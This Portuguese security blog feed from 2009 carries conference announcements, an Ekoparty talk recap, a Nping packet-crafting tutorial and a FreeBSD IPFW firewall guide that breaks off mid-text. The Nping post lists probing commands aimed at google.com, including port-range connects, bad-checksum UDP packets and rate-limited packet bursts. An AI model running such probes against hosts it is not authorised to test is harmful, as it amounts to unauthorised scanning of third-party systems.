contará com palestras técnicas que  tratarão diversos aspectos de Segurança de Aplicações. Os temas  incluem:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Segurança de aplicações web&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Otimização de gastos com segurança&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;SQL Ownage&lt;/span&gt;&lt;/i&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;ferramentas.&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Mini-cursos&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;A Conferência contará também com 5  mini-cursos:&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Gestão de Riscos de Segurança Aplicada a Web  Services&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Segurança Web: Técnicas para Programação Segura de  Aplicações&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Segurança Computacional no Desenvolvimento de Web  Services&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Tecnologias de Segurança em Web Services&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Hands on Web Application Testing using the OWASP  Testing Guide.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Local&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;A Conferência ocorrerá na Câmara dos Deputados, em  Brasília. As plenárias serão no auditório Nereu Ramos, no Anexo II e os  mini-cursos serão no Centro de Formação, Treinamento e  Aperfeiçoamento.&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Inscrições&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;A &lt;span&gt;participação&lt;/span&gt; na Conferência  será gratuita, mas, devido à limitação de lugares, será necessário inscrever-se  previamente.&lt;/span&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;As inscrições estarão abertas a partir do dia  29/10/2009 na URL: &lt;/span&gt;&lt;a title="blocked::http://www.camara.gov.br/appsecbrasil2009 http://www.camara.gov.br/appsecbrasil2009" href="http://www.camara.gov.br/appsecbrasil2009" target="_blank"&gt;&lt;span title="blocked::http://www.camara.gov.br/appsecbrasil2009"   style="font-family:Arial;font-size:85%;"&gt;http://www.camara.gov.br/&lt;wbr&gt;appsecbrasil2009&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;   &lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Informações&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Para maiores informações, favor consultar os sites  abaixo ou enviar email para &lt;/span&gt;&lt;a title="blocked::mailto:appsec.brasil@camara.gov.br" href="mailto:appsec.brasil@camara.gov.br" target="_blank"&gt;&lt;span title="blocked::mailto:appsec.brasil@camara.gov.br"   style="font-family:Arial;font-size:85%;"&gt;appsec.brasil@camara.gov.br&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Inscrições e informações sobre a conferência:  &lt;/span&gt;&lt;a title="blocked::http://www.camara.gov.br/appsecbrasil2009 http://www.camara.gov.br/appsecbrasil2009" href="http://www.camara.gov.br/appsecbrasil2009" target="_blank"&gt;&lt;span title="blocked::http://www.camara.gov.br/appsecbrasil2009"   style="font-family:Arial;font-size:85%;"&gt;http://www.camara.gov.br/&lt;wbr&gt;appsecbrasil2009&lt;/span&gt;&lt;/a&gt;&lt;br /&gt; &lt;span style="font-family:Arial;font-size:85%;"&gt;Comunidade TI-Controle: &lt;/span&gt;&lt;a title="blocked::http://www.ticontrole.gov.br/ http://www.ticontrole.gov.br" href="http://www.ticontrole.gov.br/" rel="nofollow" target="_blank"&gt;&lt;span title="blocked::http://www.ticontrole.gov.br/"   style="font-family:Arial;font-size:85%;"&gt;http://www.ticontrole.gov.br&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt; &lt;br /&gt;Câmara dos Deputados: &lt;/span&gt;&lt;a title="blocked::http://www.camara.gov.br/ http://www.camara.gov.br" href="http://www.camara.gov.br/" rel="nofollow" target="_blank"&gt;&lt;span title="blocked::http://www.camara.gov.br/"   style="font-family:Arial;font-size:85%;"&gt;http://www.camara.gov.br&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7752238077006451753?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7752238077006451753/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7752238077006451753&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7752238077006451753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7752238077006451753'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/10/owasp-appsec-brasil-2009.html' title='OWASP AppSec Brasil 2009'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-9162394650739903193</id><published>2009-09-28T07:56:00.001-07:00</published><updated>2009-09-28T07:57:11.233-07:00</updated><title type='text'>Hackers To Hackers Conference (H2HC)</title><content type='html'>&lt;p&gt;Hackers To Hackers Conference (H2HC) é uma conferência organizada por pessoas que trabalham ou que estão diretamente envolvidas com pesquisas e desenvolvimento na área de segurança da informação, cujo principal objetivo é permitir a disseminação, discussão e a troca de conhecimento sobre segurança da informação entre os participantes e também entre as empresas envolvidas no evento. Com treinamentos e palestras apresentadas por membros respeitados do mundo corporativo, grupos de pesquisas e comunidade underground, neste ano a conferência promete demonstrar técnicas que nunca foram vistas ou discutidas com o público anteriormente.&lt;/p&gt;                 &lt;p&gt; &lt;/p&gt;                 &lt;p&gt;E por que realizar uma conferência onde podem ser demonstradas novas técnicas de ataque, novas ferramentas e pontos de inseguranças de sistemas? Porque queremos mostrar esse tipo de informação para o público, principalmente para pessoas cujo trabalho é proteger e aumentar a segurança dos sistemas e fazer com que eles entendam melhor como os outros atacam os seus computadores. As pessoas que atacam normalmente conhecem diversas técnicas e é importante que analistas de segurança, auditores de sistemas entre outras pessoas responsáveis pela segurança também saibam como se defender.&lt;/p&gt;                 &lt;p&gt; &lt;/p&gt;                 &lt;p&gt;Como pode ser percebido ao acessar os melhores fóruns, sites e listas de e-mail sobre o assunto, encontrar falhas de segurança não é uma tarefa muito difícil. Para cada falha descoberta por um pesquisador e enviada a um fabricante, provavelmente existem outras que já são conhecidas por pesquisadores que não notificam o fabricante. E nós acreditamos que a melhor maneira para se proteger contra essas falhas desconhecidas é entender profundamente como os problemas acontecem e criar mecanismos de segurança para impedir uma classe de falhas, e não apenas aplicar as correções publicadas pelo fabricante e esperar que ninguém ataque seu sistema com 0day.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Não deixem de participar.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-9162394650739903193?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/9162394650739903193/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=9162394650739903193&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9162394650739903193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9162394650739903193'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/09/hackers-to-hackers-conference-h2hc.html' title='Hackers To Hackers Conference (H2HC)'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-1151155042862938778</id><published>2009-09-21T10:40:00.000-07:00</published><updated>2009-09-21T11:04:39.180-07:00</updated><title type='text'>Participação na Ekoparty</title><content type='html'>Bem, depois de um bom tempo estou de volta.  =D&lt;br /&gt;&lt;br /&gt;Estive participando na ultima semana da ekoparty ( www.ekoparty.com.ar), uma conferencia argentina sobre segurança da informação. A conferencia contou com quase 500 participantes e é bem parecida com a nossa H2HC (www.h2hc.org.br) que a propósito acontecerá nos dias 28 e 29 de novembro deste ano. Mas voltando a ekoparty a conferencia este ano contou com palestras com um ótimo nível de qualidade. Dentre elas podemos destacar as seguintes:&lt;br /&gt;&lt;br /&gt; - Pedram Amini - Mostrame la guita! Adventures in buying vulnerabilities.&lt;br /&gt;&lt;br /&gt;Que comentou sobre como é o mercado de compra e venda de vulnerabilidades, na talk o Pedram comentou que existem pessoas no Brasil que vendem vulnerabilidades mas não consegui falar com ele para saber quem são esses caras. =p&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; - Deviant Ollam - Ten Things Everyone Should Know About Lockpicking &amp;amp; Physical Security&lt;br /&gt;&lt;br /&gt;Essa foi uma das palestras que mais me chamou a atenção, além de mostrar diversos tipos diferentes de cadeados/fechaduras o Deviant nos mostrou como abri-las, a conferencia também contou com um stand de lockpicking onde você podia comprar um kit de lockpicking com 7 ferramentas por 100 pesos argentinos (mais ou menos 50 Reais)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; - Alfredo Ortega/Anibal Sacco - Deactivate The Rootkit&lt;br /&gt;&lt;br /&gt;Essa palestra foi muito interessante pois eles demonstraram como implantar alguns rootkits na BIOS das maquinas e teve demonstração tanto em maquinas virtuais quanto em maquinas reais.&lt;br /&gt;&lt;br /&gt; - Moxie Marlinspike - More Tricks For Defeating SSL In Practice&lt;br /&gt;&lt;br /&gt;Essa foi com certeza a palestra mais esperada, o Moxie demonstrou como a criação de um certificado ssl junto a uma entidade certificadora é falho e como podemos enganar os usuários que utilizam ssl utilizando a ferramenta sslstrip.&lt;br /&gt;&lt;br /&gt;Bem além do alto nível de palestrantes a conferencia contou com uma presença forte da comunidade brasileira de Security, apesar de infelizmente não termos nenhum palestrante brasileiro este ano.&lt;br /&gt;&lt;br /&gt;By CleBeeR&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-1151155042862938778?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/1151155042862938778/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=1151155042862938778&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1151155042862938778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1151155042862938778'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/09/participacao-na-ekoparty.html' title='Participação na Ekoparty'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7768920044925304240</id><published>2009-08-06T06:16:00.000-07:00</published><updated>2009-08-06T06:45:25.827-07:00</updated><title type='text'>Testando o Nping</title><content type='html'>Hoje comecei a testar o nping a nova ferramenta do Nmap (insecure.org) para gerar pacotes. O Nping é inspirado no famoso hping uma ferramenta que permite que você consiga gerar diversos tipos de pacote através de vários protocolos permitindo que o usuário altere diversos campos do cabeçalho do pacote, já o Nping pode ser utilizado como uma simples ferramenta de ping para testar hosts ativos e também como um gerador de pacotes para testes de IDS, ARP poisoning, ataques DoS, traçar rotas, etc...&lt;br /&gt;Como o Nping ainda é beta vamos baixa-lo via svn. Caso você não possua o comando svn você deve intalar o subversion (http://subversion.tigris.org/)&lt;br /&gt;&lt;br /&gt;Baixando o Nping&lt;br /&gt;&lt;br /&gt;svn co --username guest --password "" svn://&lt;a href="http://svn.insecure.org/nmap-exp/luis/nping" target="_blank"&gt;svn.insecure.org/nmap-&lt;wbr&gt;exp/luis/nping&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;após terminar o download basta um "cd nping" e executar o famoso:&lt;br /&gt;&lt;br /&gt;./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pronto com o Nping instalado você ja pode utilizar o "man nping" =p&lt;br /&gt;Segue alguns exemplos de utilização do Nping:&lt;br /&gt;&lt;br /&gt;----------&lt;br /&gt;/* Fazer conexão TCP em um host*/&lt;br /&gt;nping --tcp-connect &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;/* Fazer conexão TCP em varios hosts */&lt;br /&gt;nping --tcp-connect &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; &lt;a href="http://ask.com/" target="_blank"&gt;ask.com&lt;/a&gt; &lt;a href="http://yahoo.com/" target="_blank"&gt;yahoo.com&lt;/a&gt; &lt;a href="http://bing.com/" target="_blank"&gt;bing.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;/* Enviar um pacote UDP com 100 bytes de dados randômicos */&lt;br /&gt;nping --udp &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; -p 53 --data-length 100&lt;br /&gt;&lt;br /&gt;/* Tenta conectar em um range de portas TCP*/&lt;br /&gt;nping --tcp-connect &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; -p75-85 -c 1&lt;br /&gt;&lt;br /&gt;---/* opções que precisam de direitos de root*/&lt;br /&gt;&lt;br /&gt;/* Envia pacote UDP com checksum falso e porta de origem 1337 */&lt;br /&gt;sudo nping --udp --badsum --source-port 1337 -p 53 &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; -v6&lt;br /&gt;&lt;br /&gt;  /*Envia requisição ARP para o IP 192.168.1.1*/&lt;br /&gt;sudo nping --arp 192.168.1.1&lt;br /&gt;&lt;br /&gt;/*Envia 300 pacotes TCP a uma taxa de 100pct/seg*/&lt;br /&gt;sudo nping --tcp &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; --rate 100 -c 300&lt;br /&gt;&lt;br /&gt;/*Envia pacotes ICMP com os campos ID e Seq customizados*/&lt;br /&gt;sudo nping &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; --icmp --icmp-type echo --icmp-id 31337 --icmp-seq 1&lt;br /&gt;&lt;br /&gt;/* Envia um ICMP echo reply*/&lt;br /&gt;sudo nping &lt;a href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt; --icmp --icmp-type echo-reply&lt;br /&gt;&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bem.. Agora e só brincar&lt;br /&gt;&lt;br /&gt;By CleBeer.... |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7768920044925304240?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7768920044925304240/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7768920044925304240&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7768920044925304240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7768920044925304240'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/08/testando-o-nping.html' title='Testando o Nping'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-243016370372855752</id><published>2009-07-06T12:59:00.001-07:00</published><updated>2009-07-06T13:00:13.371-07:00</updated><title type='text'>meu n0t3</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zPY0AjwymTU/SlJXq4IKgAI/AAAAAAAAAP4/vvbzP92h_f0/s1600-h/n0t3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_zPY0AjwymTU/SlJXq4IKgAI/AAAAAAAAAP4/vvbzP92h_f0/s400/n0t3.jpg" alt="" id="BLOGGER_PHOTO_ID_5355439301029691394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Só pra mostrar meus adesivos... =p&lt;br /&gt;&lt;br /&gt;bu CleBeeR&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-243016370372855752?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/243016370372855752/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=243016370372855752&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/243016370372855752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/243016370372855752'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/07/meu-n0t3.html' title='meu n0t3'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_zPY0AjwymTU/SlJXq4IKgAI/AAAAAAAAAP4/vvbzP92h_f0/s72-c/n0t3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-2973754448026022145</id><published>2009-06-05T12:19:00.000-07:00</published><updated>2009-06-05T12:22:18.518-07:00</updated><title type='text'>FreeBSD com IPFW</title><content type='html'>Há uns 2 anos atraz eu postei esse artigo no meu antigo blog e hoje rodando pela net achei ele no site do PfSense... então ai vai o "re-blog".&lt;br /&gt;&lt;br /&gt;O IPFIREWALL é o filtro de pacotes nativo do FreeBSD, sendo também chamado de IPFW, que é a interface para controle do IPFIREWALL. O IPFIREWALL faz o monitoramento de cada pacote em cada conexão feita à máquina, determinando por meio das regras definidas pelo IPFW qual é o tratamento dado a estes pacotes. As regras são lidas de cima para baixo, e podem determinar se o pacote será liberado, bloqueado, encaminhado etc.&lt;br /&gt;&lt;br /&gt;Atualmente podemos ativar o suporte a IPFW2. O IPFW2 é uma nova versão do IPFW, com maior flexibilidade no formato das regras e algumas funcionalidades a mais, entre elas: suporte a regras não específicas para TCP ou UDP com número de porta, suporte a blocos OR, keepalives para sessões stateful e filtragem por cabeçalho MAC.&lt;br /&gt;Ativando o IPFW2&lt;br /&gt;&lt;br /&gt;Para habilitar o suporte ao ipfirewall e o ipfw2, devemos seguir alguns passos. Inicialmente, o próprio ipfw deverá ser recompilado, para suportar ipfw2. Execute os seguintes comandos:&lt;br /&gt;&lt;br /&gt;# cd /usr/src/sbin/ipfw&lt;br /&gt;# make clean&lt;br /&gt;# make -DIPFW2&lt;br /&gt;# make -DIPFW2 install&lt;br /&gt;&lt;br /&gt;Para que quando formos atualizar o sistema e executar um "make buildworld" o make saiba deste detalhe no momento de compilar o ipfw, adicione a linha abaixo ao arquivo /etc/make.conf:&lt;br /&gt;&lt;br /&gt;IPFW2=TRUE&lt;br /&gt;&lt;br /&gt;Edite o arquivo de configuração do kernel e insira as seguintes linhas, descritas abaixo:&lt;br /&gt;&lt;br /&gt;options IPFIREWALL&lt;br /&gt;options IPFW2&lt;br /&gt;options IPFIREWALL_VERBOSE&lt;br /&gt;options IPFIREWALL_VERBOSE_LIMIT=100&lt;br /&gt;options IPFIREWALL_FORWARD&lt;br /&gt;options IPDIVERT&lt;br /&gt;&lt;br /&gt;Primeira linha: ativa o ipfirewall, carregando-o estaticamente no kernel.&lt;br /&gt;Segunda linha: ativa o ipfw2 propriamente dito.&lt;br /&gt;Terceira linha: ativa o suporte a log no ipfirewall. O log é feito via syslog.&lt;br /&gt;Quarta linha: define um limite para o log de cada regra. O padrão é 100, dessa forma cada regra terá até 100 ocorrências no log. Isto é feito para evitar o comprometimento do sistema em caso de ataques como negação de serviço.&lt;br /&gt;Quarta linha: ativa o suporte a encaminhamento de pacotes.&lt;br /&gt;Quinta linha: ativa o suporte a redirecionamento de porta através de socket "divert".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Após todas estas configurações, compile e reinstale o kernel, e reinicie a máquina. Isto deverá ser feito no console, pois após reiniciar o firewall será carregado, e como não foi definida nenhuma regra irá bloquear tudo. Uma forma de contornar isso, caso não seja possível estar junto a máquina, é inserir as seguintes linhas no arquivo /etc/rc.conf:&lt;br /&gt;&lt;br /&gt;firewall_enable="YES"&lt;br /&gt;firewall_type="OPEN"&lt;br /&gt;&lt;br /&gt;Isto fará com que na inicialização seja carregada a configuração "OPEN" do arquivo /etc/rc.firewall. Esta configuração irá adicionar uma regra que libera todo o tráfego.&lt;br /&gt;&lt;br /&gt;Após reiniciada a máquina, digite o seguinte comando:&lt;br /&gt;&lt;br /&gt;# ipfw list&lt;br /&gt;&lt;br /&gt;Será mostrada a lista de regras ativas, que de acordo com a configuração OPEN do arquivo /etc/rc.firewall deverá ser a seguinte:&lt;br /&gt;&lt;br /&gt;00100 allow ip from any to any via lo0&lt;br /&gt;00200 deny ip from any to 127.0.0.0/8&lt;br /&gt;00300 deny ip from 127.0.0.0/8 to any&lt;br /&gt;65000 allow ip from any to any&lt;br /&gt;65535 deny ip from any to any&lt;br /&gt;&lt;br /&gt;Neste momento, todos os pacotes que entram e saem da máquina estão passando por estas regras, na ordem em que estão, definida pelo número da regra (que vai de 1 a 65535). A primeira regra que for atendida irá definir o que fazer com o pacote, e as demais são geralmente ignoradas (em alguns casos específicos o pacote é reinjetado).&lt;br /&gt;&lt;br /&gt;Regra 100: permite que qualquer pacote IP trafegue na interface lo0 (localhost).&lt;br /&gt;Regra 200: bloqueia o tráfego de qualquer origem para a rede 127.0.0.0/8 (localhost).&lt;br /&gt;Regra 300: bloqueia o tráfego com origem na rede 127.0.0.0/8 para qualquer destino.&lt;br /&gt;Regra 65000: permite qualquer tráfego.&lt;br /&gt;Regra 65535: bloqueia qualquer tráfego.&lt;br /&gt;&lt;br /&gt;Estas regras estão no formato do ipfw1, que também é suportado, para compatibilidade, pelo ipfw2. Lembre-se que todas estas regras foram definidas pelo rc.firewall, exceto a regra de número 65535 (máximo), que é o padrão do ipfirewall, bloquear tudo. Caso seja conveniente que o padrão do firewall seja liberar tudo, ou seja, a regra 65535 seria "allow all from any to any", então deve ser adicionada a seguinte linha na configuração do kernel:&lt;br /&gt;&lt;br /&gt;options IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comando IPFW&lt;br /&gt;&lt;br /&gt;O comando ipfw, de uma forma sucinta, possui os seguintes parâmetros:&lt;br /&gt;&lt;br /&gt;ipfw [-q] add regra -&gt; Adiciona a regra (ver o formato abaixo). A opção "-q" indica que deverá ser uma operação "silenciosa", não gerando saídas nem relatando as ações.&lt;br /&gt;&lt;br /&gt;ipfw delete número_regra -&gt; Remove a regra com o número especificado.&lt;br /&gt;&lt;br /&gt;ipfw list -&gt; Lista as regras ativas.&lt;br /&gt;&lt;br /&gt;ipfw [-t -d] show -&gt; Lista as regras ativas, incluindo os contadores número de pacotes e número de bytes. O parâmetro -t inclui ainda a data/hora da última ocorrência. O parâmetro -d lista também as regras dinâmicas.&lt;br /&gt;&lt;br /&gt;ipfw [-q] flush -&gt; Deleta todas as regras.&lt;br /&gt;&lt;br /&gt;ipfw [-q] zero -&gt; Zera todos os contadores (número de pacotes, número de bytes, número de logs e timestamp).&lt;br /&gt;&lt;br /&gt;ipfw [-q] resetlog -&gt; Zera o contador número de logs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Formato das Regras&lt;br /&gt;&lt;br /&gt;As regras que vimos anteriormente, como foi mencionado, estão no formato do ipfw1, que atualmente também é aceito pelo ipfw2. Pode-se usar este formato para escrever as regras, no entanto é bom se habituar com o novo formato. Quando forem acrescentadas regras no formato novo, o ipfw2 irá automaticamente inserir as palavras "ip from any to any", que fazem parte do formato antigo, e não irão mudar em nada a regra, já que não impões nenhuma restrição, e quem vai ditar a especificação dos pacotes são as opções, explicadas adiante. Este esquema é feito para manter uma certa compatibilidade com o ipfw1.&lt;br /&gt;&lt;br /&gt;A partir de agora, já podem ser definidas regras para controlar o Firewall. É muito importante se familiarizar com a sintaxe e forma de uso do ipfw, que será o único comando utilizado para controlar o ipfirewall. A formato das regras é o seguinte:&lt;br /&gt;&lt;br /&gt;[número_regra] [prob probalilidade] ação [log [logamount número] ] corpo_regra&lt;br /&gt;&lt;br /&gt;[número_regra]&lt;br /&gt;Varia de 1 a 65535 e indica a seqüência em que as regras serão processadas. A número 65535 é reservado para a ação padrão do firewall, que será bloquear ou permitir tudo, dependendo da configuração do kernel. Se não for inserido um número de regra ela será automaticamente a última antes da 65535. Se forem inseridas duas ou mais regras com o mesmo número, será obedecida a ordem em que foram inseridas.&lt;br /&gt;&lt;br /&gt;[prob probabilidade]&lt;br /&gt;Define uma probabilidade para aplicar a regra. Varia de 0 a 1.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ação&lt;br /&gt;&lt;br /&gt;allow&lt;br /&gt;Sinônimo de accept, pass e permit. Libera o tráfego do pacote e termina a leitura das regras.&lt;br /&gt;&lt;br /&gt;check-state&lt;br /&gt;Checa o pacote contra um conjunto de regras dinâmico.&lt;br /&gt;&lt;br /&gt;count&lt;br /&gt;Apenas atualiza o contador desta regra. As demais regras continuam a ser lidas.&lt;br /&gt;&lt;br /&gt;deny&lt;br /&gt;Sinônimo de drop, descarta o pacote e termina a leitura das regras.&lt;br /&gt;&lt;br 